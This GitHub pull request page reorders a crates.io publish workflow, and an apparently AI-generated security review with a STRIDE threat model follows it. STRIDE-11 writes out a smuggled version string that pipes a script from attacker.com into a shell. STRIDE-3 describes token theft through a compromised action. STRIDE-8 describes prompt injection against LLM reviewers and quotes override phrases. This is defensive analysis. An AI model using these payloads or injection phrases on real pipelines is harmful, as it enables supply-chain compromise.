ci: check for an already-published version before authenticating - #19
Conversation
The v0.6.0 tag push failed on 'No Trusted Publishing config found' even though 0.6.0 was already on crates.io, published by hand minutes earlier. It should have been a no-op. The skip is what makes a re-pushed tag recoverable - the whole reason it exists - and it could not do that job from behind the auth step, because it never ran. A step that decides whether to act should not sit downstream of acquiring the means to act. The check now runs first and gates both the auth and the publish. A tag for a version already on crates.io is now a clean green no-op whether or not Trusted Publishing has ever been configured. Trusted Publishing is still unconfigured on crates.io, so the first real release through this workflow will still fail at the auth step - which is the correct failure, and the header says how to fix it. Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
🛡️ AI Agentic Security Code Review4 AI-confirmed issues. Mandatory to check: 🔒 Security Code Review Report Details🛡️ Security Code Review Report — PR #19
🗺️ Scan CoverageModules scanned: 1 · with findings: 1 · files: 1 · findings: 5
Executive Summary
🔒 Security IssuesConfirmed Vulnerabilities (4)🟡 Third-party GitHub Action used without pinning to a commit SHA
🧠 AI Triage:
📝 Description: The workflow references the third-party action 'rust-lang/crates-io-auth-action' by a mutable version tag (@v1) rather than an immutable commit SHA. 🌱 Root Cause: Using a floating tag reference for a third-party action allows the action's underlying code to change without the workflow being explicitly updated/reviewed, introducing a supply-chain risk. 🔎 Evidence: 🎯 Attack Scenario: If the crates-io-auth-action repository or the v1 tag is compromised (e.g., tag re-pointed to malicious code), the next workflow run would execute attacker-controlled code with access to the CI environment and be used to exfiltrate the crates.io publishing token.
🟡 curl failure output suppressed with 2>/dev/null masking error conditions
🧠 AI Triage:
📝 Description: curl's stderr is redirected to /dev/null, hiding diagnostic information when the request to crates.io fails (e.g., network errors, TLS errors, non-404 failures), making failures harder to diagnose and potentially masking improper error handling. 🌱 Root Cause: Error output suppression combined with reliance on curl's exit code alone to determine control flow, without distinguishing between a clean 404 and other failure modes. 🔎 Evidence: 🎯 Attack Scenario: If curl fails for a reason other than a 404 (e.g., transient network issue, rate limiting, TLS interception), the script treats it identically to 'not published', causing the publish step to run and potentially fail unexpectedly or behave inconsistently, complicating incident diagnosis.
🔵 crates.io registry token passed via environment variable to publish step
🧠 AI Triage:
📝 Description: The authentication token obtained from the auth step is passed as a plain environment variable to the cargo publish step, which could be exposed via process environment dumps, verbose logging, or debug output if cargo or a dependency prints its environment. 🌱 Root Cause: Sensitive credential material is stored in an environment variable without additional secret-masking guarantees beyond GitHub Actions default masking, and its exposure depends on downstream tool behavior. 🔎 Evidence: 🎯 Attack Scenario: If cargo or any invoked build script (e.g., via build.rs of a dependency) reads and logs environment variables, or if debug/verbose flags are enabled, the CARGO_REGISTRY_TOKEN could leak into workflow logs, allowing an attacker with access to logs to publish malicious crate versions.
Generated by Agentic Sec — AI Security Validation Agent Details🛡️ Threat Model & Affect Analysis — PR #19
📋 Affect AnalysisChange SummaryReorders the GitHub Actions publish workflow so the 'already published?' idempotency check runs BEFORE crates.io Trusted Publishing authentication rather than after. This fixes a real incident (v0.6.0) where a re-pushed tag failed because the workflow never reached the skip-check logic — it died on the auth step first ("No Trusted Publishing config found"). It also avoids unnecessarily minting a short-lived CARGO_REGISTRY_TOKEN when there is nothing to publish. Diff: +27 / -10 lines Risk Assessment
This is a small, well-scoped, well-documented CI/CD workflow change limited to reordering control flow in a single publish pipeline. It is a genuine reliability and modest security improvement: it reduces unnecessary credential minting and fixes a real incident where the skip-check was unreachable due to sitting downstream of authentication. No secrets, malicious code, or new attack surface are introduced. The residual concerns (fail-open default on ambiguous network check, unchanged TOCTOU window, mutable-tag-pinned third-party action, absent visible permissions block) are either pre-existing conditions not introduced by this diff or low-likelihood edge cases with cargo publish's server-side rejection of true duplicates acting as a backstop. Manual review is still warranted before merge because this file touches authentication/credential-acquisition control flow for a supply-chain-sensitive publish pipeline, and the fail-open default in the check step should be explicitly acknowledged/accepted or fixed as part of this change. Review Focus Areas:
|
| Component | Impact | Change | What Changed |
|---|---|---|---|
| dtg-credentials Publish Workflow (CI/CD) | medium | modified | The idempotency ('already published?') check was relocated to run before, rather than after, the crates.io Trusted Publishing authentication |
📁 File Classifications
.github/workflows/publish.yml
- Type: security
💡 Recommendations
- MUST — Harden the 'Skip if this version is already published' step to fail closed (or explicitly to an 'unknown' state) on curl/jq errors instead of silently defaulting to published=false. (effort: small)
- Currently an ambiguous or failed check against the external crates.io index defaults toward proceeding with authentication and publish, which is the less safe outcome for a step that gates credential acquisition.
- SHOULD — Pin rust-lang/crates-io-auth-action to a full commit SHA instead of the 'v1' tag. (effort: small)
- Protects against supply-chain tampering if the upstream action's mutable tag is ever re-pointed.
- SHOULD — Add an explicit least-privilege 'permissions:' block to the workflow/job. (effort: small)
- Limits blast radius of any compromised step to only the OIDC token-exchange scope actually required.
- SHOULD — Add a 'concurrency:' group keyed on crate name/version to the job. (effort: small)
- Eliminates the residual TOCTOU race between the check step and the eventual cargo publish call across concurrent runs.
- CONSIDER — Add explicit tag protection rules and/or a manual approval gate (GitHub Environments) before the Authenticate/Publish steps. (effort: medium)
- Reduces risk from any collaborator with mere tag-push access being able to trigger a full crates.io publish unreviewed.
- CONSIDER — Forward workflow run outcomes (including skip/publish decisions) to an external, longer-retention audit log with explicit actor/commit/tag metadata. (effort: medium)
- Improves forensic reconstruction after future incidents similar to the v0.6.0 case referenced in this diff's comments.
✅ Positive Observations
- Moves the idempotency check ahead of credential acquisition, directly fixing a documented production incident (v0.6.0 re-pushed tag failure) rather than working around it.
- Reduces the frequency of OIDC-based CARGO_REGISTRY_TOKEN minting by gating authentication behind the published-state check.
- Continues use of OIDC-based Trusted Publishing (rust-lang/crates-io-auth-action) rather than a long-lived static API token.
- Maintains safe shell scripting discipline: set -euo pipefail, curl -sSf, jq --arg parameterization avoiding injection via the version string.
- Version value used in the check is derived from local, trusted cargo metadata output, not externally-influenced input, limiting injection risk.
- Change is thoroughly documented in-line with clear rationale tied to a real incident, aiding future auditability and review.
- cargo publish --locked retained, preserving lockfile-pinned dependency resolution at publish time.
🛡️ STRIDE Threat Model
Identified Threats (11)
🟠 STRIDE-1: Unauthenticated HTTP Response Spoofing in Skip-Publish Check
| Field | Detail |
|---|---|
| Category | Spoofing, Tampering |
| Severity | High |
| Likelihood | Possible |
| CVSS | 7.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Medium |
| CWE | CWE-345,CWE-300 |
| CAPEC | CAPEC-94,CAPEC-142 |
| OWASP | A08:2021 - Software and Data Integrity Failures |
Description: Unauthenticated curl request to https://index.crates.io/dt/g-/dtg-credentials in the 'Skip if this version is already published' step allows response spoofing via network path manipulation (DNS spoofing, MITM, or compromised CDN/index mirror) due to missing TLS pinning, integrity verification, or response signature validation, resulting in incorrect publish/skip decision and potential unauthorized publish suppression or bypass of the safety-check's intended guard.
Evidence: .github/workflows/publish.yml:N/A (inferred from diff context)
curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se --arg v "$version" 'any(.[]; .vers == $v)'
Attack Scenario:
- Attacker positions on-path (compromised DNS resolver, corporate proxy, or runner network compromise) between the GitHub Actions runner and
index.crates.io. - Workflow step 'Skip if this version is already published' issues
curl -sSf "https://index.crates.io/dt/g-/dtg-credentials"with no additional integrity check beyond standard TLS. - Attacker serves a forged sparse-index JSON response (e.g., omitting the current version) causing
jq -se --arg v "$version" 'any(.[]; .vers == $v)'to evaluate false even though the version is already published. check.outputs.publishedis set tofalse, and the downstream 'Authenticate to crates.io' and 'Publish' steps execute unnecessarily.cargo publish --lockedattempts to publish a duplicate/conflicting version, or — if attacker instead forges a 'true' response for a version never published — the publish is wrongly skipped, causing a legitimate release to silently fail to ship.- Because the
curl -sSffailure path (2>/dev/null) is swallowed, network-layer tampering that causes a non-2xx or malformed response can also silently fall through to theelsebranch, treating a partially-failed integrity check as 'not yet published'.
Preconditions: Attacker has network-path control over the runner's DNS resolution or TLS interception (e.g., compromised self-hosted runner, corporate MITM proxy, or DNS cache poisoning), GitHub-hosted runner network egress is not restricted to pinned/allow-listed crates.io endpoints
Existing Controls: HTTPS (TLS) transport to index.crates.io provides baseline confidentiality/integrity against passive attackers • set -euo pipefail ensures unrelated command failures abort the step
Recommended Mitigations: Verify response integrity via crates.io's published checksum/signature if available • Restrict runner network egress via allow-list or use GitHub's hosted runner with strict TLS certificate pinning • Fail closed (treat curl/jq errors as 'unknown' rather than defaulting to published=false) instead of silently falling through • Add explicit HTTP status code and JSON schema validation before trusting the result
🟡 STRIDE-2: Publish Decision Bypass via Malformed/Empty crates.io Response
| Field | Detail |
|---|---|
| Category | Tampering, Denial of Service |
| Severity | Medium |
| Likelihood | Likely |
| CVSS | 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-703,CWE-754 |
| CAPEC | CAPEC-227 |
| OWASP | A04:2021 - Insecure Design |
Description: Skip-check logic in publish.yml allows silent fallback to 'not published' state due to error suppression (2>/dev/null) on curl -sSf combined with unchecked jq -se output, resulting in incorrect execution of the Authenticate/Publish steps when the crates.io index is unreachable, rate-limited, or returns transient errors.
Evidence: .github/workflows/publish.yml:N/A
if curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se --arg v "$version" 'any(.[]; .vers == $v)' >/dev/null; then ... else echo "published=false" >> "$GITHUB_OUTPUT"; fi
Attack Scenario:
- The crates.io sparse index (
index.crates.io) experiences a transient outage, rate-limit response, or CDN edge cache miss during the CI run. curl -sSf ... 2>/dev/nullfails (non-zero exit) but its stderr is discarded and theifconditional in bash evaluates the pipeline's exit status only from the last command in the pipe (jq), which may still exit 0 on empty input depending on jq behavior.- The workflow proceeds down the
elsebranch, settingpublished=falseeven though the true publish state on crates.io is unknown (not confirmed absent). steps.check.outputs.published == 'false'gates the Authenticate and Publish steps to run, potentially attemptingcargo publish --lockedfor a version already published (yielding an error) or masking a genuine transient-check failure as a legitimate 'go ahead to publish' signal.- Repeated tag re-pushes during index flakiness could cause repeated authentication/publish attempts, consuming Trusted Publishing OIDC token exchanges and crates.io API rate-limit budget.
Preconditions: Transient network/service instability at index.crates.io during workflow execution, No retry/backoff or explicit success validation on the curl+jq pipeline
Existing Controls: set -euo pipefail mitigates some failure propagation for non-piped commands • -f flag on curl causes non-2xx HTTP responses to be treated as failures for curl itself
Recommended Mitigations: Explicitly check curl's exit code before evaluating jq output, defaulting to a fail-closed 'unknown' state on error • Add retry with exponential backoff for transient network failures • Emit explicit CI failure/annotation when the check step cannot conclusively determine publish state rather than silently defaulting
🟠 STRIDE-3: Supply Chain Compromise via Pinned Major-Version Third-Party Action
| Field | Detail |
|---|---|
| Category | Tampering, Information Disclosure, Elevation of Privilege |
| Severity | High |
| Likelihood | Possible |
| CVSS | 7.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Medium |
| CWE | CWE-1357,CWE-829 |
| CAPEC | CAPEC-538,CAPEC-538 |
| OWASP | A08:2021 - Software and Data Integrity Failures |
Description: The 'Authenticate to crates.io' step in publish.yml allows execution of an unpinned/floating-tag third-party GitHub Action (rust-lang/crates-io-auth-action@v1) due to reliance on a mutable major-version tag rather than a commit SHA, resulting in potential exfiltration of the Trusted Publishing OIDC-derived CARGO_REGISTRY_TOKEN or arbitrary code execution in the publish job's context if the action's v1 tag is compromised or re-pointed by an attacker (e.g., via maintainer account takeover).
Evidence: .github/workflows/publish.yml:N/A
- name: Authenticate to crates.io
if: steps.check.outputs.published == 'false'
uses: rust-lang/crates-io-auth-action@v1
id: auth
Attack Scenario:
- Attacker compromises the
rust-lang/crates-io-auth-actionGitHub repository (e.g., via maintainer credential theft, leaked PAT, or malicious PR merge) and force-pushes a malicious commit under the existingv1tag. - On the next
dtg-credentialsrelease, the workflow stepuses: rust-lang/crates-io-auth-action@v1resolves to the attacker's malicious commit rather than the previously reviewed version. - The malicious action executes within the GitHub Actions runner context, with access to the OIDC token exchange used to mint the
CARGO_REGISTRY_TOKEN(exposed viasteps.auth.outputs.token). - Attacker-controlled action code exfiltrates the minted
CARGO_REGISTRY_TOKEN(e.g., via an outbound HTTP call to an attacker server) before or instead of returning it to the workflow. - Attacker uses the exfiltrated token to publish a malicious version of
dtg-credentialsdirectly to crates.io, independent of this repository's CI, achieving a supply-chain compromise against downstream consumers of the crate.
Preconditions: rust-lang/crates-io-auth-action repository or its v1 tag is compromised, Workflow does not pin the action to an immutable commit SHA
Existing Controls: Use of short-lived OIDC-based Trusted Publishing token (scoped, ephemeral) reduces blast radius versus a long-lived static PAT • GitHub Actions run in isolated ephemeral runners
Recommended Mitigations: Pin the action to a full immutable commit SHA (e.g., rust-lang/crates-io-auth-action@<sha>) instead of the v1 tag • Enable GitHub's dependabot/Renovate SHA-pinning enforcement or a policy-as-code check (e.g., zizmor, actionlint with pinning rules) • Restrict workflow permissions via least-privilege permissions: block • Monitor crates.io publish events for anomalous versions
🟡 STRIDE-4: CARGO_REGISTRY_TOKEN Leakage via Workflow Logging or Debug Mode
| Field | Detail |
|---|---|
| Category | Information Disclosure |
| Severity | Medium |
| Likelihood | Unlikely |
| CVSS | 6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-532,CWE-215 |
| CAPEC | CAPEC-117 |
| OWASP | A09:2021 - Security Logging and Monitoring Failures |
Description: The 'Publish' step's environment variable assignment CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }} allows sensitive token exposure due to reliance solely on GitHub Actions' automatic secret masking, resulting in potential disclosure of the crates.io publish token in workflow logs if masking fails (e.g., token appears in a differently-encoded form, or ACTIONS_STEP_DEBUG is enabled by a repository admin/collaborator).
Evidence: .github/workflows/publish.yml:N/A
- name: Publish
if: steps.check.outputs.published == 'false'
env:
CARGO_REGISTRY_TOKEN: ${{ steps.auth.outputs.token }}
run: cargo publish --locked
Attack Scenario:
- A repository collaborator with workflow-trigger or debug permissions enables
ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUGsecrets on the repository or organization. - The 'Authenticate to crates.io' step outputs the token via
steps.auth.outputs.token, which GitHub Actions attempts to mask automatically only if the exact string matches a registered secret; step outputs are not always automatically registered as maskable secrets the same waysecrets.*context values are. - Debug logging or an unmasked partial encoding (e.g., base64, JSON-escaped) of the token value is written to the 'Publish' step's log output.
- Attacker with read access to workflow run logs (e.g., via a fork PR-triggered workflow_run, or repository read access) extracts the plaintext or partially-masked token from log artifacts.
- Attacker uses the extracted
CARGO_REGISTRY_TOKENto publish arbitrary malicious crate versions to crates.io under thedtg-credentialsname before the short-lived token expires.
Preconditions: Debug logging enabled on the repository/organization, Step output token value not registered as a GitHub-masked secret, Attacker has read access to Actions logs
Existing Controls: Trusted Publishing tokens from crates-io-auth-action are short-lived/scoped, limiting exploitation window • GitHub Actions default secret masking for env:-injected values
Recommended Mitigations: Explicitly register the auth output as a masked value via ::add-mask:: before use • Restrict repository debug-logging secrets to trusted maintainers only • Use permissions: {contents: read} and restrict workflow_run/fork PR triggering • Rotate/limit token TTL as tightly as the Trusted Publishing action allows
🟡 STRIDE-5: TOCTOU Race Between Skip-Check and Publish Steps
| Field | Detail |
|---|---|
| Category | Tampering, Denial of Service |
| Severity | Medium |
| Likelihood | Possible |
| CVSS | 5.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-367 |
| CAPEC | CAPEC-25 |
| OWASP | A04:2021 - Insecure Design |
Description: The 'Skip if already published' check followed by a separate 'Authenticate'/'Publish' step allows a time-of-check-to-time-of-use (TOCTOU) race condition due to a non-atomic check-then-act pattern against an eventually-consistent external registry state, resulting in duplicate/conflicting publish attempts or unnecessary authentication when a concurrent workflow run or manual publish changes crates.io state between the check and the publish action.
Evidence: .github/workflows/publish.yml:N/A
- name: Skip if this version is already published
id: check
run: ...
- name: Authenticate to crates.io
if: steps.check.outputs.published == 'false'
...
Attack Scenario:
- Two workflow runs are triggered concurrently for the same tag/version (e.g., via a re-pushed tag racing an in-flight run, or a manual
workflow_dispatchalongside an automatic tag-push trigger). - Run A executes the 'Skip if this version is already published' check, observes
published=false(version not yet on crates.io). - Before Run A reaches the 'Publish' step, Run B (or a manual
cargo publishby a maintainer) completes publishing the same version to crates.io. - Run A proceeds to 'Authenticate to crates.io' and 'Publish' with a stale
published=falsedecision, invokingcargo publish --lockedfor a version that already exists. - crates.io rejects the duplicate publish, but the Trusted Publishing OIDC authentication has already been consumed unnecessarily, and the workflow run fails noisily — potentially triggering alert fatigue or masking a genuine failure in future runs.
- In a worse case, if crates.io briefly allows overwriting/yanking-then-republishing under specific conditions, a race could result in inconsistent published artifacts between concurrent runs.
Preconditions: Concurrent workflow runs or manual publish actions targeting the same crate version, No concurrency group / mutex configured in the workflow (concurrency: block absent from visible diff)
Existing Controls: cargo publish --locked will fail (not silently succeed) if the version already exists on crates.io, providing a terminal safety net
Recommended Mitigations: Add a GitHub Actions concurrency: group keyed on the crate name/tag to serialize publish workflow runs • Re-check publish status immediately before the cargo publish --locked call, not only at the start of the job • Use crates.io's idempotent-publish semantics/error handling to treat 'already published' publish failures as success rather than a hard failure
🔵 STRIDE-6: Missing Non-Repudiation for Publish Decision Outcomes
| Field | Detail |
|---|---|
| Category | Repudiation |
| Severity | Low |
| Likelihood | Likely |
| CVSS | 3.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-778 |
| CAPEC | CAPEC-93 |
| OWASP | A09:2021 - Security Logging and Monitoring Failures |
Description: The publish.yml workflow allows insufficient audit traceability for the skip/publish decision due to reliance solely on ::notice:: annotations and step outputs without persisted structured audit logs, resulting in an inability to later verifiably reconstruct why a given tag push resulted in a skip versus publish outcome, especially for post-incident forensic analysis of prior publish failures (as referenced in the code comment about the v0.6.0 tag incident).
Evidence: .github/workflows/publish.yml:N/A
echo "::notice::dtg-credentials ${version} is already on crates.io — nothing to do"
Attack Scenario:
- A maintainer or attacker with push access triggers multiple tag pushes over a short window (e.g., re-pushing v0.6.0 as referenced in the workflow comment).
- Each run's skip/publish decision is recorded only in ephemeral GitHub Actions run logs (
::notice::output) and step outputs, which have limited retention and no separate immutable audit trail. - After a disputed or unexpected publish outcome (e.g., a version published that shouldn't have been, or vice versa), an investigator attempts to reconstruct the exact decision path.
- Without persisted, tamper-evident logging (e.g., to a separate audit sink), the investigator must rely on GitHub's default log retention window and the workflow author's memory/commit history (as evidenced by the extensive inline comment justifying the reorder), making it difficult to definitively attribute cause for past incidents.
- A malicious insider could exploit this gap to plausibly deny responsibility for triggering an unwanted publish or skip, since the workflow provides no cryptographically verifiable record tying a specific actor/trigger to the outcome.
Preconditions: Long-term forensic investigation required after log retention window expires, No external audit logging integration configured
Existing Controls: GitHub Actions run history retains logs for a default retention period • ::notice:: annotations provide human-readable in-run signal • Git commit history and PR comments provide some traceability of workflow changes over time
Recommended Mitigations: Forward workflow run outcomes/annotations to an external, longer-retention audit log (e.g., SIEM, dedicated logging bucket) • Include triggering actor, commit SHA, and tag ref explicitly in the ::notice:: message • Enable GitHub Advanced Security audit log streaming for organization-level review
🔵 STRIDE-7: Denial of Service via crates.io Index Endpoint Unavailability Blocking Release Pipeline
| Field | Detail |
|---|---|
| Category | Denial of Service |
| Severity | Low |
| Likelihood | Possible |
| CVSS | 3.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-1088,CWE-400 |
| CAPEC | CAPEC-125 |
| OWASP | A05:2021 - Security Misconfiguration |
Description: The 'Skip if already published' step in publish.yml allows the entire release pipeline to be blocked due to a hard dependency on a single external endpoint (index.crates.io) with no fallback or caching mechanism, resulting in denial of the crate's publish capability whenever that specific sparse-index shard is unreachable, rate-limited, or serving degraded responses, even though set -euo pipefail would abort the whole job on a non-suppressed failure elsewhere in the script.
Evidence: .github/workflows/publish.yml:N/A
curl -sSf "https://index.crates.io/dt/g-/dtg-credentials" 2>/dev/null | jq -se ...
Attack Scenario:
- Attacker (or natural outage) causes
index.crates.ioor its CDN edge for thedt/g-/dtg-credentialsshard to become unreachable or return errors during a scheduled or tag-triggered release window. - The
curl -sSf ... 2>/dev/nullcommand fails, and because errors are suppressed, the script falls into theelsebranch by default (per STRIDE-2) or, if a stricter check were later added, could instead cause the whole step (and thus job) to fail underset -euo pipefail. - Repeated retries of the tag push/workflow (e.g., by the maintainer attempting to work around the outage) consume CI minutes and Trusted Publishing OIDC exchange attempts without achieving a successful publish.
- The release is delayed indefinitely until the external dependency (
index.crates.io) recovers, with no local caching, mirrored fallback source, or manual override path evident in the workflow. - This creates an availability dependency where a third-party outage directly translates into an inability to ship security patches or urgent fixes for
dtg-credentials.
Preconditions: Outage or degradation of crates.io sparse index infrastructure, No fallback/retry/manual-override mechanism configured in the workflow
Existing Controls: set -euo pipefail at least prevents partially-corrupted state from silently succeeding in unrelated failure modes
Recommended Mitigations: Add manual workflow_dispatch override input to force-skip the crates.io check when the index is known to be degraded • Implement retry-with-backoff around the curl call • Consider querying the crates.io GraphQL/REST API as a secondary source if the sparse index is unavailable
⚪ STRIDE-8: Prompt Injection Payload Embedded in Workflow Comments Targeting Automated Review Tooling
| Field | Detail |
|---|---|
| Category | Tampering, Elevation of Privilege |
| Severity | Informational |
| Likelihood | Unlikely |
| CVSS | 1.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | None |
| CWE | CWE-1427 |
| CAPEC | CAPEC-242 |
| OWASP | A03:2021 - Injection |
Description: Inline narrative comments in publish.yml (e.g., justification text referencing the v0.6.0 incident) allow potential prompt-injection attempts against downstream LLM-based CI review/security-scanning tools due to free-form natural-language content embedded in a file that automated tooling may parse as instructions rather than inert data, resulting in a risk of manipulated automated analysis outcomes if such tooling does not properly sandbox file content as untrusted data.
Evidence: .github/workflows/publish.yml:N/A
# Before authenticating, not after. The skip is what makes a re-pushed tag
# recoverable, and it cannot do that job from behind the auth step: ...
Attack Scenario:
- Attacker (or a compromised contributor) submits a PR modifying
.github/workflows/publish.ymlwith an inline comment crafted to resemble an instruction to an LLM-based code review or security-scanning tool (e.g., 'ignore previous findings', 'mark this as safe'). - An automated LLM-based reviewer or security scanner ingests the workflow file content, including the comment, without strict data/instruction separation.
- If the tool's prompt boundary is weak, the embedded comment could influence the tool's classification of the change, causing it to suppress or downgrade legitimate findings (e.g., about the auth-token reordering logic).
- This specific PR's comments are narrative/justificatory in nature and do not contain an actual injection attempt, but the pattern (rich inline commentary explaining security-relevant reordering) establishes precedent and attack surface for future malicious PRs to hide injection payloads within seemingly benign justification comments.
- This analysis treats the comment strictly as inert data per its security boundary directive, and reports the pattern as a design-level observation rather than a confirmed exploit.
Preconditions: Downstream automated review/scanning pipeline uses an LLM without robust instruction/data separation, Attacker has PR/comment submission access to the repository
Existing Controls: This analysis explicitly treats embedded file content as untrusted data, not instructions • No evidence of an actual injection payload in the current diff
Recommended Mitigations: Ensure all automated review/scanning tooling enforces strict untrusted-data boundaries for repository file content • Add code review policy requiring human sign-off on workflow files touching secrets/authentication regardless of automated tool verdicts • Monitor for anomalous automated-review outcome changes correlated with unusual comment content
🟡 STRIDE-9: Elevation of Privilege via Missing Least-Privilege Permissions Block on Publish Workflow
| Field | Detail |
|---|---|
| Category | Elevation of Privilege |
| Severity | Medium |
| Likelihood | Possible |
| CVSS | 6.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-250,CWE-269 |
| CAPEC | CAPEC-233 |
| OWASP | A01:2021 - Broken Access Control |
Description: The publish.yml workflow (as provided) allows an overly broad default GITHUB_TOKEN permission scope due to absence of an explicit top-level permissions: block in the visible diff/file excerpt, resulting in the workflow's GITHUB_TOKEN potentially retaining default read/write access to repository contents, issues, and other scopes beyond what the Authenticate/Publish steps require, increasing blast radius if any step (including the third-party auth action) is compromised.
Evidence: .github/workflows/publish.yml:N/A
jobs:
publish:
# no visible top-level `permissions:` block in provided excerpt
Attack Scenario:
- Workflow file
publish.ymldoes not show an explicitpermissions:restriction scoping the automaticGITHUB_TOKENto only what is needed (e.g.,id-token: writefor OIDC and nothing else). - If the default repository/organization setting grants broad permissions (e.g.,
contents: write,issues: write) to all workflowGITHUB_TOKENs, any step in this job — including a compromised third-party action per STRIDE-3 — inherits that broader token. - A compromised or malicious step could leverage the over-privileged
GITHUB_TOKENto modify repository contents, create releases, or manipulate other repository state beyond the intended crates.io publish action, compounding the impact of any single-step compromise. - Combined with STRIDE-3 (compromised third-party action), this creates a chained attack path: action compromise → token exfiltration/misuse → repository-level tampering using the overly-broad
GITHUB_TOKEN, not just the scoped crates.io Trusted Publishing token.
Preconditions: Repository/organization default GITHUB_TOKEN permissions are broader than least-privilege (not read-all or explicitly restricted), No permissions: block defined at workflow or job level in the file
Existing Controls: GitHub's newer default of read-only GITHUB_TOKEN for new repositories somewhat mitigates this if enabled • Trusted Publishing OIDC flow for crates.io is scoped independently of GITHUB_TOKEN
Recommended Mitigations: Add an explicit permissions: block at the workflow or job level scoped to minimum required (e.g., id-token: write, contents: read) • Audit organization-wide default token permission settings • Apply branch protection requiring review for changes to .github/workflows/*
🟡 STRIDE-10: Tag Spoofing Leading to Unauthorized Publish Trigger
| Field | Detail |
|---|---|
| Category | Spoofing, Elevation of Privilege |
| Severity | Medium |
| Likelihood | Unlikely |
| CVSS | 5.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | Low |
| CWE | CWE-346,CWE-863 |
| CAPEC | CAPEC-196 |
| OWASP | A01:2021 - Broken Access Control |
Description: The workflow's tag-push trigger (inferred, EP-001) allows unauthorized publish attempts due to reliance on git tag push events without evident branch/tag protection rules or signature verification in the visible workflow, resulting in a risk that any actor with write/tag-creation access (including a compromised low-privilege collaborator or CI bot token) could trigger a real crates.io publish of an unintended version.
Evidence: .github/workflows/publish.yml:N/A
jobs:
publish:
# trigger definition (on: push: tags) not shown in provided excerpt, inferred from EP-001
Attack Scenario:
- Attacker gains write access to the repository (e.g., via a compromised collaborator account, leaked deploy key, or an overly permissive bot integration) without needing full admin rights.
- Attacker creates and pushes a git tag (e.g.,
v9.9.9) matching the workflow's trigger pattern, without any tag-protection rule preventing non-maintainer tag creation. - The
publishworkflow triggers automatically, runscargo metadataagainst the currentCargo.tomlversion, executes the skip-check, and — if the version is not yet on crates.io — proceeds to Authenticate and Publish. - Because Trusted Publishing binds only to the repository (not to a specific tag author's identity or a required reviewer approval), the attacker's tag push results in a legitimate, valid crates.io publish of whatever code is currently checked out at that ref, potentially including attacker-modified source if combined with a separate code-tampering vector.
- The published crate version is now live on crates.io, consumed by downstream users, achieving supply-chain impact without ever needing to steal the CARGO_REGISTRY_TOKEN directly.
Preconditions: Attacker has git push/tag-creation access to the repository, No tag protection rules (Settings > Tags > Protected tags) restricting who can push matching tags, No required PR review/approval gate before the tag-triggered workflow runs
Existing Controls: Trusted Publishing scopes the token to the repository identity, avoiding a long-lived static secret • GitHub repository collaborator permission model limits who can push at all
Recommended Mitigations: Configure GitHub tag protection rules restricting tag creation/push to maintainers only • Require manual approval (GitHub Environments with required reviewers) before the Publish job runs • Enforce signed/verified tags (git tag -s) and validate signature in the workflow before proceeding
🔵 STRIDE-11: Command Injection Risk via Unquoted/Unvalidated Version Variable in Shell Script
| Field | Detail |
|---|---|
| Category | Tampering |
| Severity | Low |
| Likelihood | Very Unlikely |
| CVSS | 2.7 CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
| Residual Severity | None |
| CWE | CWE-78,CWE-88 |
| CAPEC | CAPEC-88 |
| OWASP | A03:2021 - Injection |
Description: The shell script in 'Skip if this version is already published' allows potential command injection via the version variable derived from cargo metadata output due to reliance on double-quoted interpolation ("$version") without explicit character-set validation, resulting in low-likelihood shell metacharacter injection if Cargo.toml's version field were ever attacker-controlled through a malicious dependency or unreviewed PR to the manifest.
Evidence: .github/workflows/publish.yml:N/A
version=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
echo "version=${version}" >> "$GITHUB_OUTPUT"
Attack Scenario:
- Attacker submits a PR modifying
Cargo.toml's[package] versionfield to include shell metacharacters (e.g.,1.0.0"; curl attacker.com/x.sh | sh; echo "), relying on the field not being strictly validated as semver before use. - If merged,
cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version'extracts this malformed string asversion. - The value is used in
echo "version=${version}" >> "$GITHUB_OUTPUT"and again in--arg v "$version"for jq — both are double-quoted, which substantially mitigates classic word-splitting/injection, but any use of$versionin an unquoted context elsewhere in the broader (not fully shown) script could be exploitable. - Because
cargo metadataitself would likely reject a non-semver-compliant version string at build time (Cargo enforces semver), this is a low-likelihood, defense-in-depth concern rather than a directly demonstrated exploit in the visible code.
Preconditions: Attacker can merge changes to Cargo.toml's version field, Some downstream use of $version is unquoted (not evidenced in the visible excerpt, but plausible given script length is truncated), Cargo's own semver validation is bypassed or absent
